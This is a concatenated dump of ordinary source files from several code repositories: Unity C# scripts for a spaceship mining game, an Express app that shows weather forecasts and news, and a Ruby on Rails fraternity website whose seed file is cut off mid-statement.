currentEquipmentNotice.text = "Tractor Beam, press right mouse to switch";
miningLaser.SetActive(false);
tractorBeam.SetActive(true);
}
}
}
}
<file_sep>/miner comrade v2/Assets/Scripts/ShipMovement.cs
using UnityEngine;
using System.Collections;
public class ShipMovement : MonoBehaviour {
private Rigidbody2D ship;
public float rotationSpeed;
public float forwardThrustForce;
public float otherThrustForce;
public ParticleSystem forwardThrusters;
public ParticleSystem backwardThrusters1;
public ParticleSystem backwardThrusters2;
public ParticleSystem upperRightThrusters;
public ParticleSystem upperLeftThrusters;
public ParticleSystem lowerRightThrusters;
public ParticleSystem lowerLeftThrusters;
private Vector2 forceVector;
private GameObject thrusters;
// Use this for initialization
//anything here will occur when object is instantiated
void Start()
{
ship = GetComponent<Rigidbody2D>();
thrusters = GameObject.Find("Thrusters");
}
// Update is called once per frame
//called everytime frame is drawn
//called at a fixed interval (once every 30th of a second), better to put physics here
//user else ifs on axis movement to make sure users cannot hold down both thrusters for an axis
void Update()
{
if (Input.anyKey)
{
thrusters.active = true;
if (Input.GetKey(KeyCode.Q))
{
//rotate shift to the left
ship.angularVelocity = rotationSpeed;
upperLeftThrusters.Stop();
upperRightThrusters.Play();
}
else if (Input.GetKey(KeyCode.E))
{
ship.angularVelocity = -rotationSpeed;
upperRightThrusters.Stop();
upperLeftThrusters.Play();
}
else if (Input.GetKey(KeyCode.R))
{
ship.angularVelocity = 0f;
}
else
{
upperLeftThrusters.Stop();
upperRightThrusters.Stop();
}
if (Input.GetKey(KeyCode.D))
{
forceVector = (transform.right * otherThrustForce);
upperLeftThrusters.Play();
lowerLeftThrusters.Play();
lowerRightThrusters.Stop();
ship.AddForce(forceVector);
}
else if (Input.GetKey(KeyCode.A))
{
forceVector = -(transform.right * otherThrustForce);
upperRightThrusters.Play();
lowerRightThrusters.Play();
lowerLeftThrusters.Stop();
ship.AddForce(forceVector);
}
else
{
lowerLeftThrusters.Stop();
lowerRightThrusters.Stop();
}
if (Input.GetKey(KeyCode.S))
{
forceVector = -(transform.up * otherThrustForce);
forwardThrusters.Stop();
backwardThrusters1.Play();
backwardThrusters2.Play();
}
//float yRotation = Input.GetAxis("Horizontal");
//float xRotation = Input.GetAxis("Vertical");
//Quaternion rotation = Quaternion.Euler(xRotation, yRotation, 0);
//Vector3 direction = rotation * Vector3.forward;
else if (Input.GetKey(KeyCode.W))
{
// Engage forward Thrusters
forceVector = transform.up * forwardThrustForce;
// Show thrust particle effect
backwardThrusters1.Stop();
backwardThrusters2.Stop();
forwardThrusters.Play();
}
else
{
forwardThrusters.Stop();
backwardThrusters1.Stop();
backwardThrusters2.Stop();
}
ship.AddForce(forceVector);
}
else
{
thrusters.active = false;
}
}
}
<file_sep>/miner comrade v2/Assets/Scripts/StationRotator.cs
using UnityEngine;
using System.Collections;
public class StationRotator : MonoBehaviour {
public float speedOfRotation;
// Update is called once per frame
void Update () {
transform.Rotate(Vector3.forward * speedOfRotation, Time.deltaTime);
}
}
<file_sep>/miner comrade v2/Assets/Scripts/MiningLaserController.cs
using UnityEngine;
using System.Collections;
[RequireComponent(typeof(LineRenderer))]
public class MiningLaserController : MonoBehaviour
{
//public int damagePerShot = 20;
public float timeBetweenBullets = 0.15f;
public int range = 100;
float timer;
Ray laserRay;
RaycastHit laserHit;
ParticleSystem laserParticles;
LineRenderer laserLine;
//AudioSource laserAudio;
//Light laserLight
float effectsDisplayTime = 0.2f;
public float dirX;
public float dirY;
public Vector2 dir;
void Start()
{
laserParticles = GetComponent<ParticleSystem>();
laserLine = GetComponent<LineRenderer>();
//laserAudio = getComponent<AudioSource>();
//laserLight = getComponent<Light>();
}
void Update()
{
timer += Time.deltaTime;
if (Input.GetButton ("Fire1") && timer >= timeBetweenBullets)
{
Shoot();
}
else
{
DisableEffects();
}
// if (timer >= timeBetweenBullets * effectsDisplaytime)
// {
// DisableEffects();
// }
}
public void DisableEffects()
{
laserLine.enabled = false;
//laserLight.enabled = false;
}
void Shoot()
{
timer = 0f;
//laserAudio.Play();
//laserLight.enabled = true;
laserParticles.Stop();
laserParticles.Play();
laserLine.enabled = true;
laserLine.SetPosition(0, transform.position);
/*
laserRay.origin = target.position;
Vector2 dir = Camera.main.ViewportPointToRay(Input.mousePosition);
Vector2 newDir = new Vector3(dir.x * range, dir.y * range);
dirX = dir.x;
dirY = dir.y;
laserRay.direction = newDir;
*/
laserRay = Camera.main.ScreenPointToRay(Input.mousePosition);
Debug.DrawRay(laserRay.origin, laserRay.direction * range, Color.green);
laserLine.SetPosition(1, (laserRay.origin + laserRay.direction * range));
//transform.forward;
/*
if(Physics.Raycast (laserRay, out laserHit, range))
{
code here for future collision with asteroids
ChunkHealth chunckHealth = laserHit.collider.GetComponent<ChunkHealth>();
if (chunkHealth != null)
{
chunkHealth.TakeDamage (damagePerShot, laserHit.point);
}
laserLine.SetPosition(1, laserHit.point);
}
else
{
dirX = laserRay.direction.x;
dirY = laserRay.direction.y;
laserLine.SetPosition(1, laserRay.origin + laserRay.direction * range);
//}
*/
}
}
| 0a1db70114d63bf4c965fcb73bddace4d8c287ee | [
"C#"
] | 4 | C# | ssmith151/Comrade-Miner | b404d8f5e293fb8eb7f5c03de39282dd0fd56b0a | efe0f9afa36a6f946eb46512ce7c3f9b0f3c3bc2 |
refs/heads/master | <file_sep>'use strict'
import { WeatherInfo } from './datatypes'
import MetaWeather from 'metaweather'
export class Weather {
constructor(metaWeather) {
this.metaWeather = metaWeather
}
async getWoeidByQuery(query) {
const response = await this.metaWeather.search().query(query)
if (response && response.body && response.body[0])
return response.body[0].woeid
}
async getWoeidByLocation(lattitude, longitude) {
const response = await this.metaWeather.search().latLon({ lat: lattitude, lon: longitude })
if (response && response.body && response.body[0])
return response.body[0].woeid
}
async getWeatherByWoeid(woeid) {
const response = await this.metaWeather.location(woeid)
if (response && response.body && response.body.consolidated_weather)
return response.body.consolidated_weather.map(x => WeatherInfo.WeatherInfoOf({
city: response.body.title,
weatherState: x.weather_state_abbr,
tempCelsius: x.the_temp,
windMps: x.wind_speed,
day: new Date(x.applicable_date)
}))
}
async getWeatherByQuery(query) {
const woeid = await this.getWoeidByQuery(query)
return await this.getWeatherByWoeid(woeid)
}
async getWeatherByLocation(lattitude, longitude) {
const woeid = await this.getWoeidByLocation(lattitude, longitude)
return await this.getWeatherByWoeid(woeid)
}
static getInstance() {
return new Weather(new MetaWeather);
}
}
<file_sep>'use strict'
import { News } from '../models/news'
import { Weather } from '../models/weather'
import { config } from '../common'
const news = News.fromNewsApiKey(config.newsApiKey)
const weather = Weather.getInstance()
export const forecastMiddleware = async (req, res, next) => {
const { query, lat, lon } = req.query
const hasPosition = lat && lon
if (hasPosition)
req.forecast = weather.getWeatherByLocation(lat, lon)
else if (query)
req.forecast = weather.getWeatherByQuery(query)
req.forecast = req.forecast || await weather.getWeatherByQuery('vegas')
next()
}
export const index = async (req, res) => {
const categories = news.getCategories()
res.render('home', {
title: 'Главная',
categories,
forecast: req.forecast
})
}
export const getCategory = async (req, res) => {
const categoryShortName = req.params.category
const category = news.getCategories().find(x => x.urlShortName === categoryShortName)
if (!category) {
res.sendStatus(404)
return
}
const newsItems = await news.getNews(category)
res.render('category', {
title: category.title,
forecast: req.forecast,
category: category,
news: newsItems
})
}
<file_sep>'use strict'
import { News } from '../models/news'
import { NewsItem, NewsCategory } from '../models/datatypes'
import { config, checkType } from '../common'
import assert from 'assert'
describe('news', () => {
const sut = News.fromNewsApiKey(config.testApiKey)
it('has some categories', () => {
const categories = sut.getCategories()
categories.forEach(checkType(NewsCategory, 'NewsCategory'));
assert.ok(sut.getCategories().length > 0)
})
it('has news for each category', async () => {
const categories = sut.getCategories()
const results = await Promise.all(categories.map(x => sut.getNews(x)))
assert.ok(results.every(x => x.length > 0))
results.forEach(x => x.forEach(checkType(NewsItem, 'NewsItem')))
})
})
<file_sep>import Type from 'union-type'
export const NewsCategory = Type({ NewsCategory: {
title: String,
icon: String,
urlShortName: String
}})
export const NewsItem = Type({ NewsItem: {
title: String,
publishedAt: Date,
description: String,
source: String,
imageUrl: String,
category: NewsCategory
}})
export const WeatherInfo = Type({ WeatherInfo : {
city: String,
weatherState: String,
tempCelsius: Number,
windMps: Number,
day: Date
}})
<file_sep>'use strict'
require('babel-core/register')
const { app } = require('./app')
module.exports = app
if (require.main === module) {
app.listen(8080, () => console.log('Running on localhost:8080'))
}
<file_sep>const moment = require('moment')
const assert = require('assert')
const config = {
newsApiKey: 'af406ce76d00443f90f40b9a2e5f2da4',
siteName: 'Local extremum',
testApiKey: 'af406ce76d00443f90f40b9a2e5f2da4'
}
const mwStateToIcon = state => 'icofont-' + ({
sn: 'snowy',
sl: 'snowy-rainy',
h: 'hail',
t: 'rainy-thunder',
hr: 'rainy',
lr: 'rainy',
s: 'rainy-sunny',
hc: 'clouds',
lc: 'cloudy',
c: 'sun-alt'
}[state])
const categoryToIcon = category => 'icofont-' + ({
business: 'briefcase',
entertainment: 'emo-nerd-smile',
general: 'world',
health: 'medical-sign-alt',
science: 'electron',
sports: 'skiing-man',
technology: 'gears'
}[category])
const checkType = (union, typeName) => union.case({
[typeName]: () => {},
_: () => assert.fail(`Thats not a ${typeName}`)
})
const handlebarsHelpers = {
displayRussianDate: date => moment(date).locale('ru').format('Do MMMM'),
head: list => list[0],
tail: list => list.slice(1),
round: (digits, number) => number.toFixed(digits),
fmtTemp: temp => (temp == 0 ? '0' : ((temp > 0 ? '+' : '') + temp.toFixed(1))) + ' ℃',
fmtWind: wind => `${wind.toFixed(2)} м/c`,
mwStateToIcon,
categoryToIcon
}
module.exports = { config, handlebarsHelpers, checkType }
<file_sep>'use strict'
import { Weather } from '../models/weather'
import { WeatherInfo } from '../models/datatypes'
import assert from 'assert'
import moment from 'moment'
import { checkType } from '../common'
describe('weather', () => {
const sut = Weather.getInstance()
const yesterday = moment().subtract(1, 'day').toDate()
it('makes query to "london"', async () => {
const forecasts = await sut.getWeatherByQuery('london')
assert.equal(forecasts.length, 6)
forecasts.forEach(checkType(WeatherInfo, 'WeatherInfo'))
assert.equal(forecasts.filter(x => x.day > yesterday).length, 6)
})
it('makes query to "San-Fierro"', async () => {
const forecasts = await sut.getWeatherByQuery('San-Fierro')
assert.ok(forecasts === undefined)
})
it('makes query to undefined', async () => {
const forecasts = await sut.getWeatherByQuery({}[1])
assert.ok(forecasts === undefined)
})
it('makes query to "50.068,-5.316"', async () => {
const forecasts = await sut.getWeatherByLocation(50.068, -5.316)
assert.equal(forecasts.length, 6)
forecasts.forEach(checkType(WeatherInfo, 'WeatherInfo'))
assert.equal(forecasts.filter(x => x.day > yesterday).length, 6)
})
})<file_sep>'use strict'
import express from 'express'
import exphbs from 'express-handlebars'
import { forecastMiddleware, index, getCategory } from './controllers/index'
import { wrap } from 'async-middleware'
import { config, handlebarsHelpers } from './common'
export const app = express()
app.engine('hbs', exphbs({
extname: '.hbs',
defaultLayout: 'html5',
helpers: handlebarsHelpers
}))
app.set('view engine', 'hbs')
app.locals.siteName = config.siteName
app.use(express.static('public'))
app.use(wrap(forecastMiddleware))
app.get('/', wrap(index))
app.get('/:category', wrap(getCategory))
| 8af6b11926e4ff17add0fbf5fc1db986c740c190 | [
"JavaScript"
] | 8 | JavaScript | trszdev/webdev-task-1 | 425e53b4e6c932bf82e7c82a6f268af371ff0db9 | c13a8be63e5fa4d116c2fb43b6af220c9a1efa3a |
refs/heads/master | <repo_name>DmitroHorbenko/social-network<file_sep>/src/components/Dialogs/Dialogs.jsx
import React from "react";
import s from './Dilogs.module.css'
import DialogItem from "./DialogItem/DialogItem";
import Messages from "./Message/Message";
const Dialogs = (props) => {
debugger
let state = props.dialogsPage;
let dialogsElements = state.dialogs.map((d) => <DialogItem name={d.name} id={d.id} status={d.status} avatar={d.avatar}/>)
let messageElements = state.messages.map((m) => <Messages message={m.message} id={m.id}/>)
let newMessageBody = state.newMessageBody;
let onSendMessageClick = () => {
props.sendMessage()
}
let onNewMessageChange = (event) => {
let body = event.target.value;
props.updateNewMessageBody(body)
}
return (
<div className={s.dialogs}>
<div className={s.dialogsItems}>
{dialogsElements}
</div>
<div className={s.messages}>
{messageElements}
</div>
<div>
<textarea
value={newMessageBody}
onChange={onNewMessageChange}
placeholder={'Enter new message'} >
</textarea>
</div>
<div>
<button onClick={onSendMessageClick} >Send</button>
</div>
</div>
);
}
export default Dialogs;
<file_sep>/src/components/Users/UsersContainer.jsx
// import s from './Dilogs.module.css'
import {connect} from "react-redux";
import {followAC, setCurrentPageAC, setTotalUsersCountAC, setUsersAC, unfollowAC} from "../../redux/users-reducer";
import React, {Component} from "react";
import * as axios from "axios";
import Users from "./Users";
class UsersContainer extends Component {
componentDidMount() {
debugger
// https://jsonplaceholder.typicode.com/users
axios.get(`https://social-network.samuraijs.com/api/1.0/users?page=${this.props.currentPage}&count=${this.props.pageSize}`)
.then(response => {
//response.data
this.props.setUsers(response.data.items)
this.props.setTotalUsersCount(response.data.totalCount)
})
}
onPageChanged (pageNumber) {
debugger
this.props.setCurrentPage(pageNumber)
axios.get(`https://social-network.samuraijs.com/api/1.0/users?page=${pageNumber}&count=${this.props.pageSize}`)
.then(response => {
this.props.setUsers(response.data.items)
})
}
render() {
return (
<Users users={this.props.users }
currentPage={this.props.currentPage}
onPageChanged={this.onPageChanged.bind(this)}
usersCount={this.props.usersCount}
pageSize={this.props.pageSize}
follow={this.props.follow}
unfollow={this.props.unfollow}
/>
);
}
}
let mapStateToProps = (state) => {
return {
users: state.usersPage.users,
pageSize: state.usersPage.pageSize,
usersCount: state.usersPage.usersCount,
currentPage: state.usersPage.currentPage
}
}
let mapDispatchToProps = (dispatch) => {
return {
follow: (idUser) => {
dispatch(followAC(idUser))
},
unfollow: (idUser) => {
dispatch(unfollowAC(idUser))
},
setUsers: (users) => {
dispatch(setUsersAC(users))
},
setCurrentPage: (pageNumber) => {
dispatch(setCurrentPageAC(pageNumber))
},
setTotalUsersCount: (totalCount) => {
dispatch(setTotalUsersCountAC(totalCount))
}
}
}
export default connect(mapStateToProps, mapDispatchToProps)(UsersContainer);
<file_sep>/src/components/Header/Header.jsx
import React from "react";
import s from './Header.module.css'
const Header = () => {
return <header className={s.header}>
{/*<img src='https://po-ua.com/node-foto/Karpaty-NG-2012.files/image030.jpg' alt='Background_header'/>*/}
<img src='https://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/NASA_logo.svg/200px-NASA_logo.svg.png' alt='dsfdsf'/>
</header>
}
export default Header;<file_sep>/src/components/Dialogs/Message/Message.jsx
import React from "react";
import s from './../Dilogs.module.css'
const Messages = (props) => <div className={s.message}>{props.message}</div>
export default Messages;<file_sep>/src/redux/store.js
import profileReducer from "./profile-reducer";
import dialogsReducer from "./dialogs-reducer";
import sidebarReducer from "./sidebar-reducer";
let store = {
_state: {
profilePage: {
posts: [
{id: 1, message: 'Hi, how are you?', liksCount: 5},
{id: 2, message: 'It\'s my first post', liksCount: 5}
],
newPostText: "mutable"
},
dialogsPage: {
dialogs: [
{
name: "Dima",
id: 1,
status: "active",
avatar: 'https://img.tsn.ua/cached/1518092914/tsn-3122bdbfc8d6fcfa75d8528e9b9cd61a/thumbs/315x210/b4/b1/ada811fe61784362abc9a989cbceb1b4.jpg'
},
{
name: "Julia",
id: 2,
status: "pass",
avatar: 'https://img.tsn.ua/cached/1518092914/tsn-3122bdbfc8d6fcfa75d8528e9b9cd61a/thumbs/315x210/b4/b1/ada811fe61784362abc9a989cbceb1b4.jpg'
},
{
name: "Anton",
id: 3,
status: "pass",
avatar: 'https://img.tsn.ua/cached/1518092914/tsn-3122bdbfc8d6fcfa75d8528e9b9cd61a/thumbs/315x210/b4/b1/ada811fe61784362abc9a989cbceb1b4.jpg'
},
{
name: "Darina",
id: 4,
status: "pass",
avatar: 'https://img.tsn.ua/cached/1518092914/tsn-3122bdbfc8d6fcfa75d8528e9b9cd61a/thumbs/315x210/b4/b1/ada811fe61784362abc9a989cbceb1b4.jpg'
},
{
name: "Baks",
id: 5,
status: "pass",
avatar: 'https://img.tsn.ua/cached/1518092914/tsn-3122bdbfc8d6fcfa75d8528e9b9cd61a/thumbs/315x210/b4/b1/ada811fe61784362abc9a989cbceb1b4.jpg'
}
],
messages: [
{message: "Haello", id: 1},
{message: "How are you?", id: 2},
{message: "LOL", id: 3},
{message: "Like", id: 4},
{message: "Gaf", id: 5}
]
,
newMessageBody: ""
},
sidebar: {
friends: [
{name: "Julia", id: 2},
{name: "Anton", id: 3}
]
}
},
_callSubscriber() {
console.log("State changed")
},
getState() {
return this._state
},
subscribe(observer) {
this._callSubscriber = observer; // observer
},
dispatch(action) {
this._state.profilePage = profileReducer(this._state.profilePage, action);
this._state.dialogsPage = dialogsReducer(this._state.dialogsPage, action);
this._state.sidebar = sidebarReducer(this._state.sidebar, action);
this._callSubscriber(this._state);
}
};
export default store;
<file_sep>/src/components/Profile/ProfileInfo/ProfileInfo.jsx
import React from "react";
import s from './../Profile.module.css'
const ProfileInfo = () => {
return <div className={s.content}>
<div>
<img src='https://img.lovepik.com/photo/50046/2933.jpg_wh860.jpg' alt='dsfdsf'/>
</div>
<div>
ava + description
</div>
</div>
}
export default ProfileInfo;<file_sep>/src/components/Navbar/Sidebar/Sidebar.jsx
import React from "react";
import s from './Sidebar.module.css'
const Sidebar = (props) => {
return (
<div>
<div className={s.friends}>
Friends:
{props.friends.map( f => <div>{f.name}</div>) }
</div>
</div>
);
}
export default Sidebar;
<file_sep>/src/components/Users/Users.jsx
import React from "react";
import s from "./Users.module.css";
import userPhoto from "../../asset/img/user.jpg";
let Users = (props) => {
let pageCount = Math.ceil(props.usersCount / props.pageSize);
let arrPages = []
for (let i=1; i<=pageCount; i++ ) {
arrPages.push(i)
}
debugger
return <div>
<div>
{arrPages.map( p => {
return <span className={ props.currentPage === p && s.SelectedPage}
// on Event to Page number
onClick={ (e) => {props.onPageChanged(p) }}>{' ' + p }</span>
} )}
</div>
<div>
{props.users.map((u) => {
return (
<div className={s.item}>
<div>
<img src={u.photos.small != null ? u.photos.small : userPhoto} alt={'dsfd'} />
{u.followed ? <button onClick={() => {props.unfollow(u.id)}}>Unfollow</button> :
<button onClick={() => {props.follow(u.id)}}>Follow</button> }
</div>
<div>
<div>{u.name}</div>
<div>{"u.address.city"}</div>
</div>
</div>
)
})}
</div>
</div>
}
export default Users
| b6d6e94dbe5760be9c136c6719d89e7f72ecf1cd | [
"JavaScript"
] | 8 | JavaScript | DmitroHorbenko/social-network | a0c6a396a9aaf65ec376cf29aa4a2425c9acac67 | 0f66540218be8e12d9e3177432600631e3ead693 |
refs/heads/main | <repo_name>nomanajmal007/test_project<file_sep>/config/routes.rb
Rails.application.routes.draw do
resources :pages
devise_for :users, path: '',path_names: { sign_in: 'login',sign_out:'logout',sign_up:'register' }
resources :users
resources :businesses
resources :tasks
root to: 'pages#index'
# devise_for :users, controllers: {
# sessions: 'users/sessions'
# }
# For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
end
<file_sep>/app/controllers/concerns/current_user_concern.rb
module CurrentUserConcern
extend ActiveSupport::Concern
def current_user
super || guest_user
end
def guest_user
OpenStruct.new(name:"<NAME>",first_name:"Guest",last_name:"User",email:"<EMAIL>")
end
end<file_sep>/app/controllers/tasks_controller.rb
class TasksController < ApplicationController
before_action :set_task, only: %i[ show edit update destroy toggle_status]
def index
authorize Task
@tasks=Task.all
end
def new
authorize Task
@task = Task.new
end
def show
authorize Task
end
def create
@task = Task.new(task_params)
respond_to do |format|
if @task.save
format.html { redirect_to @task, notice: "Task was successfully created." }
else
format.html { redirect_to @task, notice: "Validation Error" }
end
end
end
def destroy
authorize Task
@task.destroy
respond_to do |format|
format.html { redirect_to tasks_url, notice: "Task was successfully destroyed." }
end
end
def edit
authorize Task
end
def update
respond_to do |format|
if @task.update(task_params)
format.html { redirect_to @task, notice: "Task was successfully updated." }
else
format.html { render :edit, status: :unprocessable_entity }
end
end
end
private
def set_task
@task = Task.find(params[:id])
end
# Only allow a list of trusted parameters through.
def task_params
params.require(:task).permit(:title, :due_date, :task_type, :image, :business_id)
end
end
<file_sep>/app/models/user.rb
class User < ApplicationRecord
has_many :business_users, :dependent => :destroy
has_many :businesses, through: :business_users
has_many :owner_businesses, foreign_key: "owner_id", class_name: 'Business'
validates_presence_of :name
enum user_type: {admin: 0, writingbroker: 1, support: 2}
# Include default devise modules. Others available are:
# :confirmable, :lockable, :timeoutable, :trackable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :validatable
def first_name
self.name.split.first
end
def last_name
self.name.split.last
end
end
<file_sep>/app/models/business_user.rb
class BusinessUser < ApplicationRecord
belongs_to :business
belongs_to :user
end
<file_sep>/app/policies/business_policy.rb
class BusinessPolicy < ApplicationPolicy
def initialize(user, business)
@user = user
@business = business
end
def index?
true
end
def new?
@user.admin? || @user.writingbroker?
end
def edit?
check
end
def show?
# @user.writingbroker? ? @business.owner == @user : @user.admin?
#@user.writingbroker? || @user.support? ? @business.business_users.where(user_id: @user.id).present? : @user.admin?
if @user.admin?
true
elsif @user.support? || @user.writingbroker?
@business.business_users.where(user_id: @user.id).present?
end
end
def destroy?
check
end
private
def check
if @user.admin?
true
elsif @user.writingbroker?
@business.business_users.where(user_id: @user.id).present?
end
end
end
<file_sep>/app/models/business.rb
class Business < ApplicationRecord
validates_presence_of:name , :description
has_many :business_users, :dependent => :destroy
has_many :users, through: :business_users
has_many :tasks, :dependent => :destroy
belongs_to :owner , class_name: 'User'
# , :dependent => :destroy
end<file_sep>/db/migrate/20211015103440_change_title_to_unique_in_tasks.rb
class ChangeTitleToUniqueInTasks < ActiveRecord::Migration[6.1]
def change
change_column :tasks, :title, :text, unique: true
end
end
<file_sep>/db/seeds.rb
8.times do |task|
Task.create!(
title: "Task #{task}",
due_date: DateTime.now,
task_type: "Not Decided yet",
image: "http://placehold.it/350x150",
business_id: 1
)
end
puts "8 Task Created"<file_sep>/app/controllers/businesses_controller.rb
class BusinessesController < ApplicationController
before_action :set_business, only: %i[ show edit update destroy toggle_status]
def index
@businesses = Business.all
authorize Business
end
def show
authorize @business
@users=User.all;
# @members=@business.BusinessUser.all
end
def new
@business = Business.new
authorize @business
@users = User.where.not(:id=>current_user.id)
end
def create
@business = Business.new(business_params)
@business.owner= current_user
@business.business_users.build(user_id: current_user.id)
puts current_user.id
user_ids = params[:business][:user_ids].reject(&:empty?)
user_ids.delete(current_user.id)
puts current_user.id
user_ids.each do |ui|
@business.business_users.build(user_id: ui)
end
respond_to do |format|
if @business.save!
format.html { redirect_to @business, notice: "Business was successfully created." }
else
format.html { render :new, status: :unprocessable_entity }
end
end
end
def edit
authorize @business
end
def update
respond_to do |format|
if @business.update(business_params)
format.html { redirect_to @business, notice: "Business was successfully updated." }
else
format.html { render :edit, status: :unprocessable_entity }
end
end
end
def destroy
authorize @business
@business.business_users.destroy
@business.destroy
respond_to do |format|
format.html { redirect_to businesses_url, notice: "Business was successfully destroyed." }
end
end
private
def set_business
@business = Business.find(params[:id])
end
# Only allow a list of trusted parameters through.
def business_params
params.require(:business).permit(:name, :description, :owner)
end
end
<file_sep>/app/policies/task_policy.rb
class TaskPolicy < ApplicationPolicy
class Scope < Scope
def resolve
scope.all
end
end
def index?
true
end
def new?
@user.admin? || @user.writingbroker?
end
def edit?
@user.admin? || @user.writingbroker?
end
def show?
@user.admin? || @user.writingbroker? || @user.support?
end
def destroy?
@user.admin? || @user.writingbroker?
end
private
def check
end
end
| a06c5db2a24e897042a4bf883dcde90900d10fc3 | [
"Ruby"
] | 11 | Ruby | nomanajmal007/test_project | 8cf082626494903f98e81af414248443a5e0b9e7 | 4babaa5a921d1ad93174dfec29f0082e8e8a6be7 |
refs/heads/master | <repo_name>Aryan-Barbarian/sep-website<file_sep>/app/models/brother.rb
class Brother < ActiveRecord::Base
has_many :jobs
has_many :companies, :through => :jobs
has_and_belongs_to_many :ventures
belongs_to :pledge_class
accepts_nested_attributes_for :jobs
def image()
base = "brothers/"
if ((self.image_url).nil?)
return base + ('placeholder.png')
else
return base + (self.image_url)
end
end
def to_image_name
ans = String.new(self.name)
ans = ans.downcase
return (ans.gsub! " ", "-") + ".jpg"
end
end
<file_sep>/app/controllers/companies_controller.rb
class CompaniesController < ApplicationController
def index
end
def ventures
@companies = Company.where(isVenture: true)
@title = "Ventures"
end
def connections
@jobs = Job.all
@categories = @jobs.group_by{ |c| c.category}
puts @categories
@companies = Company.all
@title = "Careers"
end
def alumni
end
def show
@company = Company.find(params[:id])
end
private
def company_params
params.require(:company).permit(:name, :description, :logo_url, :isVenture, :jobs, :notable, :website)
end
end
<file_sep>/app/models/pledge_class.rb
class PledgeClass < ActiveRecord::Base
has_many :brothers
has_one :professional_event
serialize :images, Array
end
<file_sep>/app/models/professional_event.rb
class ProfessionalEvent < ActiveRecord::Base
belongs_to :pledge_class
end
<file_sep>/app/controllers/brothers_controller.rb
class BrothersController < ApplicationController
def index
@brothers = Brother.all
@rows = Array.new
@header = "All Brothers"
@byline = nil
row = Hash.new
row[:brothers] = @brothers
row[:title] = nil
@rows.push(row)
end
def pledge_classes
@header = "Pledge Classes"
classes = PledgeClass.all
@rows = Array.new
classes.each do |pclass|
row = Hash.new
row[:title] = pclass.name
row[:brothers] = pclass.brothers
if !row[:brothers].empty?
@rows.push(row)
end
end
@byline = nil
render("index")
end
def actives
@header = "2015 Active Brothers"
pictured = Brother.where.not(image_url: nil).where(active: true)
not_pictured = Brother.where(image_url: nil).where(active: true)
@rows = Array.new
picrow = Hash.new
unpicrow = Hash.new
picrow[:brothers] = pictured
picrow[:title] = nil
unpicrow[:brothers] = not_pictured
unpicrow[:title] = "Not Pictured"
@rows.push(picrow)
@rows.push(unpicrow)
@byline = nil
render("index")
end
def executive_board
@brothers = Array.new
@header = "Executive Board"
toAdd = Brother.where(role: "President").first
if !toAdd.nil?
@brothers.push toAdd
end
toAdd = Brother.where(role: "External Vice President").first
if !toAdd.nil?
@brothers.push toAdd
end
toAdd = Brother.where(role: "Internal Vice President").first
if !toAdd.nil?
@brothers.push toAdd
end
toAdd = Brother.where(role: "Operations Vice President").first
if !toAdd.nil?
@brothers.push toAdd
end
@rows = Array.new
@byline = nil
row = Hash.new
row[:brothers] = @brothers
row[:title] = nil
@rows.push(row)
render("index")
end
def show
@brother = Brother.find(params[:id])
end
def new
@brother = Brother.new()
end
def edit
@brother = Brother.find(params[:id])
end
def create
@brother = Brother.new(brother_params)
# @brother.save
# redirect_to @brother
end
def update
# @brother = Brother.find(brother_params)
end
def destroy
end
def image(brother)
if ((bro.image_url).nil?)
return ('placeholder.png')
else
return (bro.image_url)
end
end
private
def brother_params
params.require(:brother).permit(:name, :text, :grad_year, :pledge_class, :jobs, :companies)
end
end
<file_sep>/db/migrate/20141230213748_create_brothers.rb
class CreateBrothers < ActiveRecord::Migration
def change
create_table :brothers do |t|
t.string :role
t.string :name
t.date :grad_year
t.text :description
t.string :major
t.string :image_url
t.boolean :active
t.references :jobs
t.references :pledge_class
t.string :note
t.timestamps null: false
end
end
end
<file_sep>/app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
def index
@ventures = Company.where(isVenture: true)
@testimonials = Testimonial.all
end
def about_us
end
end
<file_sep>/app/controllers/jobs_controller.rb
class JobsController < ApplicationController
def index
end
def connections
@jobs = Job.all
@categories = @jobs.group_by{ |c| c.category}
puts @categories
@companies = Company.all
@title = "Careers"
end
def past
end
def show
@company = Company.find(params[:id])
end
private
def job_params
params.require(:job).permit(:role, :description, :start, :end, :category, :brother)
end
end
<file_sep>/app/models/rush_event.rb
class RushEvent < ActiveRecord::Base
end
<file_sep>/db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
# Mayor.create(name: 'Emanuel', city: cities.first)
require 'csv'
alpha = PledgeClass.create(
name: "alpha",
pledge_semester: DateTime.new(2011, 9, 1, 0, 0, 0)
)
alpha.save
beta = PledgeClass.create(
name: "beta",
pledge_semester: DateTime.new(2012, 1, 1, 0, 0, 0)
)
beta.save
gamma = PledgeClass.create(
name: "gamma",
pledge_semester: DateTime.new(2012, 9, 1, 0, 0, 0)
)
gamma.save
delta = PledgeClass.create(
name: "delta",
pledge_semester: DateTime.new(2013, 1, 1, 0, 0, 0)
)
delta.save
epsilon = PledgeClass.create(
name: "epsilon",
pledge_semester: DateTime.new(2013, 9, 1, 0, 0, 0)
)
epsilon.save
zeta = PledgeClass.create(
name: "zeta",
pledge_semester: DateTime.new(2014, 1, 1, 0, 0, 0)
)
zeta.save
eta = PledgeClass.create(
name: "eta",
is_best_pledge_class: true,
pledge_semester: DateTime.new(2014, 9, 1, 0, 0, 0)
)
eta.save
user = Brother.create(
name: "<NAME>",
role: "Tech Chair",
pledge_class: eta,
grad_year: DateTime.new(2017, 5, 15, 20, 10, 0),
description: "Aryan made this website so he can have whatever he wants in his description.",
active: true,
major: "Computer Science")
user = Brother.create(
name: "<NAME>",
pledge_class: gamma,
grad_year: DateTime.new(2016, 5, 15, 20, 10, 0),
image_url: "brothers/Jasmine-Stoy.jpg",
active: true,
major: "Business Administration")
user.save
user = Brother.create(
name: "<NAME>",
role: "President",
pledge_class: zeta,
grad_year: DateTime.new(2017, 5, 15, 20, 10, 0),
active: true,
major: "Business Administration")
user.save
user = Brother.create(
name: "<NAME>",
pledge_class: gamma,
grad_year: DateTime.new(2016, 05, 15, 20, 10, 0),
image_url: "brothers/Anant-Agarwal.jpg",
active: true,
major: "Economics")
user.save
Brother.create(
name: "<NAME>",
role: "Rush Chair")
Brother.create(
name: "<NAME>",
role: "Education Chair").save
Brother.create(
name: "<NAME>",
